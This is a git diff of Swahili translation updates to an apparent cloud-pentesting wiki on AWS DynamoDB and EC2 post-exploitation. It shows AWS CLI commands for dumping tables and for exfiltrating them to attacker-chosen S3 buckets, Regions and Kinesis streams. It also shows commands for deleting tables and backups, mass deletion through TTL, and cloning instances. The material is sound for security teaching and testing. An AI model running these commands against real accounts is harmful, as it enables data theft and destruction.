Unaweza kuangalia [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## DynamoDB
Kwa maelezo zaidi, angalia:
Kwa taarifa zaidi angalia:
{{#ref}}
../../aws-services/aws-dynamodb-enum.md
@@ -12,7 +12,7 @@ Kwa maelezo zaidi, angalia:
### `dynamodb:BatchGetItem`
An attacker mwenye idhini hizi ataweza **kupata vitu kwenye jedwali kwa kutumia funguo kuu** (huwezi kuomba data zote za jedwali tu). Hii inamaanisha kwamba lazima ufahamu vifunguo kuu (unaweza kupata hizi kwa kuangalia metadata ya jedwali (`describe-table`).
Mshambuliaji mwenye ruhusa hizi ataweza **kupata vitu kutoka katika jedwali kwa kutumia ufunguo mkuu** (huwezi kuomba tu data yote ya jedwali). Hii inamaanisha kuwa unahitaji kujua funguo kuu (unaweza kupata hizi kwa kupata metadata ya jedwali (`describe-table`).
{{#tabs }}
{{#tab name="json file" }}
@@ -47,7 +47,7 @@ aws dynamodb batch-get-item \
### `dynamodb:GetItem`
**Kama ilivyo kwa ruhusa zilizotangulia** hii inamruhusu potential attacker kusoma thamani kutoka kwenye jedwali 1 tu kwa kutumia primary key ya rekodi ili kuipata:
**Sawa na ruhusa zilizotangulia** hii inamruhusu mdukuzi anayeweza kusoma thamani kutoka jedwali 1 tu kwa kupewa primary key ya rekodi inayotakiwa:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
}
]
```
**Athari Inayoweza Kutokea:** Indirect privesc kwa kupata taarifa nyeti katika jedwali
**Athari Inayowezekana:** Indirect privesc kwa kutambua taarifa nyeti kwenye jedwali
### `dynamodb:Query`
**Kama ruhusa zilizopita** hii inamruhusu mshambuliaji kusoma thamani kutoka kwa jedwali 1 tu kwa kutegemea funguo kuu ya rekodi anayotaka kupata. Inaruhusu kutumia [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), lakini ulinganisho pekee unaoruhusiwa na funguo kuu (ambayo lazima ionekane) ni "EQ", kwa hivyo huwezi kutumia ulinganisho kupata hifadhidata yote kwa ombi moja.
**Sawa na ruhusa zilizotangulia** hii inamruhusu mshambuliaji kusoma thamani kutoka kwenye jedwali moja tu iwapo primary key ya rekodi ya kupatikana itatolewa. Inaruhusu kutumia [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), lakini kulinganisha pekee kinachoruhusiwa na primary key (ambacho lazima kiwepo) ni "EQ", kwa hivyo huwezi kutumia kulinganisha kupata DB nzima katika ombi.
{{#tabs }}
{{#tab name="json file" }}
@@ -107,15 +107,15 @@ aws dynamodb query \
{{#endtab }}
{{#endtabs }}
**Athari zinazoweza kutokea:** Isiyo ya moja kwa moja privesc kwa kupata taarifa nyeti katika jedwali
**Potential Impact:** Isiyo ya moja kwa moja privesc kwa kutafuta taarifa nyeti kwenye jedwali
### `dynamodb:Scan`
Unaweza kutumia ruhusa hii ku**dump jedwali lote kwa urahisi**.
Unaweza kutumia ruhusa hii ili **dump jedwali zima kwa urahisi**.
```bash
aws dynamodb scan --table-name <t_name> #Get data inside the table
```
**Athari Inayowezekana:** Privesc isiyo ya moja kwa moja kwa kutambua taarifa nyeti katika jedwali
**Athari Inayowezekana:** Indirect privesc kwa kupata taarifa nyeti kwenye jedwali
### `dynamodb:PartiQLSelect`
@@ -124,18 +124,18 @@ Unaweza kutumia ruhusa hii ili **dump jedwali lote kwa urahisi**.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
```
Ruhusa hii pia inaruhusu kufanya `batch-execute-statement` kama:
Idhini hii pia inaruhusu kutekeleza `batch-execute-statement` kama:
```bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
lakini unahitaji kutaja primary key na thamani, kwa hivyo haifai sana.
lakini unahitaji kubainisha funguo kuu na thamani, hivyo haifai sana.
**Athari Inayowezekana:** Privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti katika jedwali
**Potential Impact:** Indirect privesc kwa kupata taarifa nyeti kwenye jedwali
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
Ruhusa hii itamruhusu mshambuliaji **kuhamisha jedwali zima kwenye S3 bucket** anayechagua:
Ruhusa hii itamruhusu attacker kuhamisha **jedwali lote kwenye S3 bucket** ya chaguo lake:
```bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
--export-time <point_in_time> \
--region <region>
```
Kumbuka kwamba ili hili lifanye kazi, jedwali linahitaji kuwa na point-in-time-recovery imewezeshwa; unaweza kuangalia ikiwa jedwali lina kwa:
Kumbuka kwamba ili hili lifanye kazi, jedwali linahitaji kuwa na point-in-time-recovery imewezeshwa; unaweza kukagua ikiwa jedwali lina kwa:
```bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>
```
Ikiwa haijawezeshwa, utahitaji **kuiwezesha** na kwa hilo unahitaji ruhusa ya **`dynamodb:ExportTableToPointInTime`**:
Ikiwa haijawezeshwa, utahitaji **kuiwezesha** na kwa hilo unahitaji ruhusa **`dynamodb:ExportTableToPointInTime`**:
```bash
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
**Potential Impact:** Indirect privesc kwa kupata taarifa nyeti kwenye jedwali
**Madhara Yanayoweza Kutokea:** Kuongezeka kwa mamlaka kwa njia isiyo ya moja kwa moja (indirect privesc) kwa kupata taarifa nyeti kwenye jedwali
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
Kwa ruhusa hizi, mshambuliaji angeweza **kuunda jedwali jipya kutoka kwa chelezo** (au hata kuunda chelezo kisha kuirejesha kwenye jedwali tofauti). Kisha, akiwa na ruhusa zinazohitajika, angeweza kuangalia **taarifa** kutoka kwa chelezo ambazo c**haziwezi kuwa tena katika jedwali la uzalishaji**.
Kwa ruhusa hizi, mshambuliaji angeweza **kutengeneza jedwali jipya kutoka kwenye backup** (au hata kutengeneza backup kisha kuirejesha kwenye jedwali tofauti). Kisha, kwa ruhusa zinazohitajika, angeweza kuangalia **taarifa** kutoka kwa backups ambazo c**hazikuwa tena kwenye jedwali la production**.
```bash
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
```
**Athari Inayowezeka:** privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti katika backup ya jedwali
**Athari Inayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye chelezo ya jedwali
### `dynamodb:PutItem`
Ruhusa hii inawawezesha watumiaji kuongeza **rekodi mpya kwenye jedwali au kubadilisha rekodi iliyopo** na rekodi mpya. Ikiwa rekodi yenye funguo kuu ile ile tayari ipo, **rekodi nzima itabadilishwa** na rekodi mpya. Ikiwa funguo kuu haipo, rekodi mpya yenye funguo kuu iliyobainishwa **itaumbwa**.
Ruhusa hii inaruhusu watumiaji kuongeza **rekodi mpya kwenye jedwali au kubadilisha rekodi iliyopo** kwa rekodi mpya. Ikiwa rekodi yenye funguo kuu ile ile tayari ipo, **rekodi nzima itabadilishwa** na rekodi mpya. Ikiwa funguo kuu haipo, rekodi mpya yenye funguo kuu iliyobainishwa itakuwa **imeundwa**.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -202,11 +202,11 @@ aws dynamodb put-item \
{{#endtab }}
{{#endtabs }}
**Athari Inayoweza Kutokea:** Kutumiwa kwa udhaifu zaidi/bypasses kwa kuwa na uwezo wa kuongeza/kuhariri data katika jedwali la DynamoDB
**Athari Inayoweza Kutokea:** Kutumiwa kwa udhaifu zaidi au bypasses kwa kuwa na uwezo wa kuongeza/kuhariri data katika jedwali la DynamoDB
### `dynamodb:UpdateItem`
Ruhusa hii inawawezesha watumiaji **kuhariri sifa zilizopo za kipengee au kuongeza sifa mpya kwa kipengee**. Haibadilishi kipengee lote; inasasisha tu sifa zilizobainishwa. Ikiwa primary key haipo katika jedwali, operesheni itaunda **kipengee kipya** chenye primary key iliyobainishwa na kuweka sifa zilizobainishwa katika update expression.
Ruhusa hii inaruhusu watumiaji **kubadilisha sifa zilizopo za item au kuongeza sifa mpya kwa item**. Haitoibadilishi item yote; inasasisha tu sifa zilizotajwa. Ikiwa funguo kuu haipo katika jedwali, operesheni itaunda **item mpya** na funguo kuu iliyotajwa na kuweka sifa zilizotajwa katika update expression.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -242,43 +242,43 @@ aws dynamodb update-item \
{{#endtab }}
{{#endtabs }}
**Athari Inayoweza Kutokea:** Kutumiwa kwa vulnerabilities/bypasses zaidi kwa kuwa na uwezo wa kuongeza/kuhariri data kwenye jedwali la DynamoDB
**Athari Inayowezekana:** Kutumiwa kwa udhaifu au mbinu za kuzunguka vikwazo zaidi kwa kuwa na uwezo wa kuongeza/kuhariri data katika jedwali la DynamoDB
### `dynamodb:DeleteTable`
Mshambuliaji mwenye ruhusa hii anaweza **kufuta jedwali la DynamoDB, na kusababisha kupoteza data**.
Mshambuliaji mwenye ruhusa hii anaweza **kufuta jedwali la DynamoDB, kusababisha kupoteza data**.
```bash
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
```
**Madhara yanayoweza kutokea**: Kupoteza data na kuvurugika kwa huduma zinazotegemea jedwali lililofutwa.
**Athari inayowezekana**: Upotevu wa data na kuathirika kwa huduma zinazotegemea jedwali lililofutwa.
### `dynamodb:DeleteBackup`
Mshambuliaji mwenye ruhusa hii anaweza **kufuta backup ya DynamoDB, ambayo inaweza kusababisha kupoteza data katika tukio la urejeshaji baada ya janga**.
Mshambuliaji mwenye ruhusa hii anaweza **kufuta chelezo ya DynamoDB, jambo linaloweza kusababisha upotevu wa data katika hali ya urejeshaji baada ya maafa**.
```bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
```
**Madhara yanayoweza kutokea**: Kupoteza data na kushindwa kurejesha kutoka kwenye nakala rudufu wakati wa tukio la urejeshaji wa maafa.
**Potential impact**: Kupoteza data na kushindwa kurejesha kutoka kwenye backup wakati wa tukio la kupona baada ya maafa.
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
> [!NOTE]
> TODO: Jaribu kama hii kwa kweli inafanya kazi
> TODO: Jaribu kama hii kweli inafanya kazi
Mwanashambulizi mwenye ruhusa hizi anaweza **kuwezesha stream kwenye jedwali la DynamoDB, kusasisha jedwali ili kuanza kuonyesha mabadiliko, na kisha kupata access kwenye stream ili kufuatilia mabadiliko ya jedwali kwa wakati halisi**. Hii inamruhusu mwanashambulizi kufuatilia na exfiltrate mabadiliko ya data, ambayo inaweza kusababisha data leak.
Mtu mwenye ruhusa hizi (attacker) anaweza **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. Hii inamruhusu attacker kufuatilia na exfiltrate mabadiliko ya data, ambayo inaweza kusababisha data leakage.
1. Wezesha stream kwenye jedwali la DynamoDB:
1. Wezesha stream kwenye DynamoDB table:
```bash
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
```
2. Elezea stream ili kupata ARN na maelezo mengine:
2. Elezea mtiririko ili kupata ARN na maelezo mengine:
```bash
aws dynamodb describe-stream \
--table-name TargetTable \
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
--shard-iterator-type LATEST \
--region <region>
```
4. Tumia shard iterator kufikia na exfiltrate taarifa kutoka kwenye stream:
4. Tumia shard iterator ili kufikia na exfiltrate data kutoka kwenye stream:
```bash
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
```
**Athari inayowezekana**: Ufuatiliaji wa wakati halisi na kutokwa kwa data ya mabadiliko ya meza ya DynamoDB.
**Athari inayowezekana**: Ufuatiliaji wa wakati-halisi na data leakage ya mabadiliko ya jedwali la DynamoDB.
### Soma vitu kupitia `dynamodb:UpdateItem` na `ReturnValues=ALL_OLD`
Mshambuliaji akiwa na ruhusa pekee ya `dynamodb:UpdateItem` kwenye jedwali anaweza kusoma vitu bila ya ruhusa za kawaida za kusoma (`GetItem`/`Query`/`Scan`) kwa kufanya sasisho lisilo hatari na kuomba `--return-values ALL_OLD`. DynamoDB itarudisha picha kamili ya kabla ya sasisho ya kitu katika uwanja `Attributes` wa jibu (hii haitumii RCUs).
Mshambuliaji mwenye tu ruhusa ya `dynamodb:UpdateItem` kwenye jedwali anaweza kusoma vitu bila ya ruhusa za kawaida za kusoma (`GetItem`/`Query`/`Scan`) kwa kufanya sasisho lisilo hatari na kuomba `--return-values ALL_OLD`. DynamoDB itarudisha taswira kamili ya kitu kabla ya sasisho katika uwanja wa `Attributes` wa jibu (hii haitumii RCUs).
- Ruhusa za chini kabisa: `dynamodb:UpdateItem` kwenye jedwali/ufunguo lengwa.
- Masharti ya awali: Lazima ujue ufunguo kuu wa kitu.
- Ruhusa za chini: `dynamodb:UpdateItem` kwenye jedwali/ufunguo lengwa.
- Masharti ya awali: Unapaswa kujua ufunguo mkuu wa kipengee.
Mfano (inaongeza attribute isiyo hatari na inatoa kitu kilichokuwapo kabla kwenye jibu):
Mfano (inaongeza sifa isiyo hatari na exfiltrates kipengee cha awali katika jibu):
```bash
aws dynamodb update-item \
--table-name <TargetTable> \
@@ -318,14 +318,14 @@ aws dynamodb update-item \
--return-values ALL_OLD \
--region <region>
```
Majibu ya CLI yatajumuisha blokhi ya `Attributes` inayoweka kipengee kilichopita kikamilifu (sifa zote), kwa ufanisi ikitoa primitive ya kusoma kutoka kwa upatikanaji wa kuandika-tu.
Jibu la CLI litajumuisha kifungu cha `Attributes` kinachojumuisha item ya awali kwa ukamilifu (sifa zote), na kwa ufanisi kutoa read primitive kutoka kwa write-only access.
**Athari Inayowezekana:** Kusoma vitu vilivyochaguliwa kutoka kwenye jedwali kwa ruhusa za kuandika pekee, ikiruhusu kuondoa data nyeti wakati funguo kuu zinapojulikana.
**Athari Inayoweza Kutokea:** Kusoma vitu vya aina yoyote kutoka kwenye jedwali kwa ruhusa za kuandika tu, kuruhusu sensitive data exfiltration wakati primary keys zinapojulikana.
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
Uondoaji wa siri kwa kuongeza replica Region mpya kwenye DynamoDB Global Table (version 2019.11.21). Ikiwa mhusika mwenye ruhusa anaweza kuongeza replica ya kikanda, jedwali zima linarudishwa kwa Region iliyochaguliwa na mshambuliaji, kutoka ambapo mshambuliaji anaweza kusoma vitu vyote.
Exfiltration kimyakimya kwa kuongeza replica Region mpya kwenye DynamoDB Global Table (version 2019.11.21). Ikiwa principal anaweza kuongeza regional replica, jedwali lote linareplikishwa hadi Region iliyochaguliwa na attacker, ambapo attacker anaweza kusoma vitu vyote.
{{#tabs }}
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -354,13 +354,13 @@ aws dynamodb update-table \
{{#endtab }}
{{#endtabs }}
Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
Ruhusa: `dynamodb:UpdateTable` (with `replica-updates`) au `dynamodb:CreateTableReplica` kwenye jedwali lengwa. Ikiwa CMK imetumika kwenye replica, huenda ruhusa za KMS kwa key hiyo zikahitajika.
Potential Impact: Kuiga kwa meza nzima hadi Region inayodhibitiwa na mshambuliaji, na kusababisha uondoaji wa data kwa siri.
Matokeo Yanayoweza Kutokea: Kuzalisha meza nzima (full-table replication) kwenda Region inayodhibitiwa na mshambulizi, kupelekea uondoaji wa data kwa kificho.
### `dynamodb:TransactWriteItems` (kusoma kupitia condition iliyoshindwa + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
Mshambuliaji mwenye ruhusa za kuandika transactional anaweza kuondoa sifa zote za kipengee kilichopo kwa kufanya `Update` ndani ya `TransactWriteItems` kinachokosa kusonga mbele kwa makusudi kwenye `ConditionExpression` huku kikiwa kimeset `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Wakati kuna kushindwa, DynamoDB hujumuisha sifa za awali katika transaction cancellation reasons, na kwa ufanisi hubadilisha upatikanaji wa kuandika tu kuwa upatikanaji wa kusoma kwa funguo zilizolengwa.
Mshambulizi mwenye ruhusa za transactional write anaweza kusafirisha kwa siri sifa zote za item iliyopo kwa kufanya `Update` ndani ya `TransactWriteItems` ambayo kwa kukusudia inashindwa kwa `ConditionExpression` huku ikiwekwa `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Kwa kufeli, DynamoDB hujumuisha sifa za awali katika sababu za kughairi muamala, na hivyo kubadilisha upatikanaji wa kuandika pekee kuwa upatikanaji wa kusoma wa funguo zilizolengwa.
{{#tabs }}
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -409,19 +409,19 @@ print(e.response['CancellationReasons'][0]['Item'])
{{#endtab }}
{{#endtabs }}
Ruhusa: `dynamodb:TransactWriteItems` on the target table (and the underlying item). Hakuna ruhusa za kusoma zinahitajika.
Ruhusa: `dynamodb:TransactWriteItems` kwenye jedwali lengwa (na item msingi). Hakuna ruhusa za kusoma zinahitajika.
Athari Zinawezekana: Soma vipengee vya hiari (kwa funguo kuu) kutoka kwenye jedwali ukitumia tu ruhusa za transactional write kupitia sababu za kukatizwa zilizorejeshwa.
Athari Inayoweza Kutokea: Soma items yoyote (kwa primary key) kutoka kwenye jedwali ukitumia tu ruhusa za transactional write kupitia cancellation reasons zinazorejeshwa.
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` kwa GSI
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
Pitia vikwazo vya kusoma kwa kuunda Global Secondary Index (GSI) yenye `ProjectionType=ALL` kwenye attribute yenye entropy ndogo, weka attribute hiyo kuwa thamani ya kudumu kwa vipengee vyote, kisha `Query` index kupata vipengee kamili. Hii inafanya kazi hata kama `Query`/`Scan` kwenye jedwali la msingi imekataliwa, mradi tu unaweza ku-query ARN ya index.
Pitia vikwazo vya kusoma kwa kuunda Global Secondary Index (GSI) yenye `ProjectionType=ALL` kwenye attribute yenye entropy ndogo, weka attribute hiyo kuwa thamani ya kudumu kwa items zote, kisha `Query` index ili kupata items kamili. Hii inafanya kazi hata kama `Query`/`Scan` kwenye jedwali msingi imekataliwa, mradi tu unaweza ku-query ARN ya index.
- Ruhusa za chini:
- `dynamodb:UpdateTable` on the target table (kuunda GSI yenye `ProjectionType=ALL`).
- `dynamodb:UpdateItem` on the target table keys (kuweka attribute iliyofanyiwa index kwenye kila kipengee).
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
- Minimum permissions:
- `dynamodb:UpdateTable` kwenye jedwali lengwa (kutengeneza GSI yenye `ProjectionType=ALL`).
- `dynamodb:UpdateItem` kwenye jedwali lengwa keys (kuweka attribute iliyowekwa kwenye index kwa kila item).
- `dynamodb:Query` kwenye index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
Hatua (PoC in us-east-1):
```bash
@@ -461,16 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
```
**Athari Inayowezekana:** Full table exfiltration kwa kufanya query kwenye GSI mpya inayoprojekta all attributes, hata wakati base table read APIs zimetengwa.
**Athari Inayoweza Kutokea:** exfiltration kamili ya jedwali kwa ku-query GSI mpya iliyoundwa ambayo inaonyesha attributes zote, hata wakati ruhusa za kusoma za base table zimekataliwa.
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
Kutumia vibaya DynamoDB Kinesis streaming destinations ku-continuously exfiltrate mabadiliko kutoka kwenye jedwali kwenda kwenye attacker-controlled Kinesis Data Stream. Mara inapoamilishwa, kila INSERT/MODIFY/REMOVE event inatumwa karibu kwa wakati halisi kwenye stream bila kuhitaji read permissions kwenye jedwali.
### `dynamodb:EnableKinesisStreamingDestination` (Exfiltration endelevu kupitia Kinesis Data Streams)
Ruhusa za chini kabisa (attacker):
Kutumia vibaya DynamoDB Kinesis streaming destinations ili kuendelea kufanya exfiltration ya mabadiliko kutoka kwenye jedwali kwenda kwenye Kinesis Data Stream inayodhibitiwa na mshambuliaji. Mara inapoamilishwa, kila tukio la INSERT/MODIFY/REMOVE linafikishwa karibu kwa real-time kwenye stream bila hitaji la ruhusa za kusoma kwenye jedwali.
Ruhusa za chini kabisa (mshambuliaji):
- `dynamodb:EnableKinesisStreamingDestination` kwenye jedwali lengwa
- Hiari `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` kwa kufuatilia hali
- Ruhusa za kusoma kwenye attacker-owned Kinesis stream ili kuchukua rekodi: `kinesis:*`
- Hiari: `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` kwa kufuatilia hali
- Ruhusa za kusoma kwenye Kinesis stream inayomilikiwa na mshambuliaji ili kusoma rekodi: `kinesis:*`
<details>
<summary>PoC (us-east-1)</summary>
@@ -529,17 +530,17 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
```
### `dynamodb:UpdateTimeToLive`
Muvamizi aliye na ruhusa ya dynamodb:UpdateTimeToLive anaweza kubadilisha usanidi wa TTL (time-to-live) wa jedwali — kuwezesha au kuzima TTL. Wakati TTL imewezeshwa, rekodi binafsi ambazo zina sifa ya TTL iliyosanidiwa zitafutwa moja kwa moja mara tu wakati wa kumalizika utakapofikiwa. Thamani ya TTL ni sifa nyingine tu kwenye kila rekodi; rekodi zisizo na sifa hiyo hazitaathiriwa na uondoaji unaotokana na TTL.
Mshambuliaji mwenye ruhusa ya dynamodb:UpdateTimeToLive anaweza kubadilisha usanidi wa TTL (time-to-live) wa jedwali — kuwezesha au kuzima TTL. Wakati TTL itakapowezeshwa, vipengee vinavyobeba sifa ya TTL iliyowekwa vitafutwa kiotomatiki mara tu wakati wa kumalizika utakapofika. Thamani ya TTL ni sifa nyingine tu kwenye kila kipengee; vipengee bila sifa hiyo havinaathiriwa na ufutaji unaotokana na TTL.
Ikiwa rekodi hazijaisha kuwa na sifa ya TTL, muvamizi atahitaji pia ruhusa inayoruhusu kusasisha rekodi (kwa mfano dynamodb:UpdateItem) ili kuongeza sifa ya TTL na kusababisha ufutaji wa wingi.
Iwapo vipengee havija nazo sifa ya TTL, mshambuliaji atahitaji pia ruhusa zinazowaruhusu kusasisha vipengee (kwa mfano dynamodb:UpdateItem) ili kuongeza sifa ya TTL na kusababisha ufutaji wa wingi.
Kwanza wezesha TTL kwenye jedwali, ukibainisha jina la sifa litakalotumika kwa kuisha:
Kwanza wezesha TTL kwenye jedwali, ukibainisha jina la sifa litakalotumika kwa kumalizika:
```bash
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
```
Kisha sasisha vitu ili kuongeza sifa ya TTL (epoch seconds) ili vitakapokwisha viondolewe:
Kisha sasisha vitu ili kuongeza sifa ya TTL (epoch seconds) ili vitakapokwisha ziweze kuondolewa:
```bash
aws dynamodb update-item \
--table-name <TABLE_NAME> \
@@ -549,15 +550,15 @@ aws dynamodb update-item \
```
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
Mshambuliaji aliye na ruhusa za `dynamodb:RestoreTableFromAwsBackup` au `dynamodb:RestoreTableToPointInTime` anaweza kuunda jedwali jipya lililorejeshwa kutoka kwa backups au kutoka kwa point-in-time recovery (PITR) bila kuandika juu ya jedwali la asili. Jedwali lililorejeshwa lina picha kamili ya data kwa wakati ulioteuliwa, hivyo mshambuliaji anaweza kulitumia ku-exfiltrate taarifa za kihistoria au kupata dump kamili ya hali ya zamani ya database.
Mshambuliaji mwenye ruhusa za dynamodb:RestoreTableFromAwsBackup au dynamodb:RestoreTableToPointInTime anaweza kuunda meza mpya zilizorejeshwa kutoka kwa backups au kutoka kwa point-in-time recovery (PITR) bila kuandika juu ya meza ya asili. Meza iliyorejeshwa ina picha kamili ya data katika wakati ulioteuliwa, hivyo mshambuliaji anaweza kuitumia ku-exfiltrate taarifa za kihistoria au kupata dump kamili ya hali ya zamani ya hifadhidata.
Rejesha jedwali la DynamoDB kutoka kwa on-demand backup:
Restore a DynamoDB table from an on-demand backup:
```bash
aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>
```
Rejesha jedwali la DynamoDB kwa wakati maalum (tengeneza jedwali jipya lenye hali iliyorejeshwa):
Rudisha jedwali la DynamoDB hadi wakati maalum (tengeneza jedwali jipya lenye hali iliyorejeshwa):
```bash
aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
@@ -566,6 +567,8 @@ aws dynamodb restore-table-to-point-in-time \
````
</details>
**Athari Inayowezekana:** Kuendelea, karibu wakati-halisi exfiltration ya mabadiliko ya jedwali kwa attacker-controlled Kinesis stream bila direct read operations kwenye jedwali.
**Potential Impact:** Exfiltration endelevu, karibu kwa wakati halisi, ya mabadiliko ya jedwali kwenda kwenye Kinesis stream inayodhibitiwa na mshambuliaji bila operesheni za moja kwa moja za kusoma kwenye jedwali.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## EC2 & VPC
Kwa taarifa zaidi angalia:
Kwa habari zaidi angalia:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,10 +12,10 @@ Kwa taarifa zaidi angalia:
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
VPC traffic mirroring **huiga nakala ya trafiki ya kuingia na kutoka kwa EC2 instances ndani ya VPC** bila hitaji la kusakinisha chochote kwenye instances hizo. Trafiki iliyonakiliwa kawaida hutumwa kwa kitu kama network intrusion detection system (IDS) kwa ajili ya uchambuzi na ufuatiliaji.\
Muvamizi anaweza kuisababisha kutumika vibaya ili kukamata trafiki yote na kupata taarifa nyeti kutoka ndani yake:
VPC traffic mirroring **hufanya nakala za trafiki zote zinazoingia na kutoka kwa EC2 instances ndani ya VPC** bila hitaji la kusakinisha chochote kwenye instances wenyewe. Trafiki hii iliyodubliwa kwa kawaida ingepelekwa kwa kitu kama network intrusion detection system (IDS) kwa uchambuzi na ufuatiliaji.\
Mshambulizi anaweza kuutumia vibaya hili kunasa trafiki yote na kupata taarifa nyeti kutoka kwake:
Kwa taarifa zaidi angalia ukurasa huu:
Kwa habari zaidi angalia ukurasa huu:
{{#ref}}
aws-malicious-vpc-mirror.md
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
### Copy Running Instance
Instances kawaida zina aina fulani ya taarifa nyeti. Kuna njia tofauti za kuingia ndani (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Hata hivyo, njia nyingine ya kuchunguza ni **kuunda AMI na kuendesha instance mpya (hata kwenye account yako mwenyewe) kutoka kwake**:
Instances kawaida zina aina fulani ya taarifa nyeti. Kuna njia mbalimbali za kuingia ndani (angalia [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Hata hivyo, njia nyingine ya kuangalia kile kilichomo ni ya **kuunda AMI na kuendesha instance mpya (hata kwenye account yako mwenyewe) kutoka kwake**:
```shell
# List instances
aws ec2 describe-images
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
```
### EBS Snapshot dump
**Snapshots ni backups za volumes**, ambazo kawaida zitakuwa na **taarifa nyeti**, kwa hivyo kuzikagua kunapaswa kufichua taarifa hizi.\
Kama ukipata **volume bila snapshot** unaweza: **kuunda snapshot** na kufanya vitendo vifuatavyo au tu **kuimount kwenye instance** ndani ya account:
**Snapshots ni chelezo za volumes**, ambazo kwa kawaida zitakuwa na **taarifa nyeti**, kwa hivyo kuzikagua kunapaswa kufichua taarifa hizi.\
Ikiwa utapata **volume without a snapshot** unaweza: **Create a snapshot** na kufanya hatua zifuatazo au tu **mount it in an instance** ndani ya account:
{{#ref}}
aws-ebs-snapshot-dump.md
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
### Covert Disk Exfiltration via AMI Store-to-S3
Export EC2 AMI moja kwa moja kwenda S3 kwa kutumia `CreateStoreImageTask` ili kupata raw disk image bila kushirikisha snapshot. Hii inaruhusu forensics kamili zisizo mtandaoni au wizi wa data huku networking ya instance ikibaki bila kubadilishwa.
Export EC2 AMI moja kwa moja kwenda S3 kwa kutumia `CreateStoreImageTask` ili kupata raw disk image bila kushirikisha snapshot. Hii inaruhusu uchunguzi wa forensiki kamili nje ya mtandao au wizi wa data huku networking ya instance ikibaki isiyoguswa.
{{#ref}}
aws-ami-store-s3-exfiltration.md
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
